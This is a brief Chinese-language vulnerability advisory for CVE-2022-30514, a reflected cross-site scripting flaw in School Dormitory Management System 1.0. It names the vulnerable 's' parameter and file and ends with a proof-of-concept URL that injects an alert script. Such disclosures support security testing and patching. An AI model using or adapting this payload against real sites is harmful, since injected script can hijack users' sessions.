CVE-2022-30514
学校宿舍管理系统 1.0 - 反射型XSS
漏洞标题:学校宿舍管理系统 1.0 - 反射型XSS
日期:2022-05-25
CVE编号:CVE-2022-30514
漏洞发现者:Abdulaziz Saad (@b4zb0z)
版本:1.0
测试环境:LAMP, Ubuntu
[#] 漏洞位置:
$_GET['s'] 位于 /dms/admin/inc/navigation.php:126
[#] 利用方法:
http://localhost/dms/admin/?s=%27;%20alert(%22b4zb0z%22);%20s=%27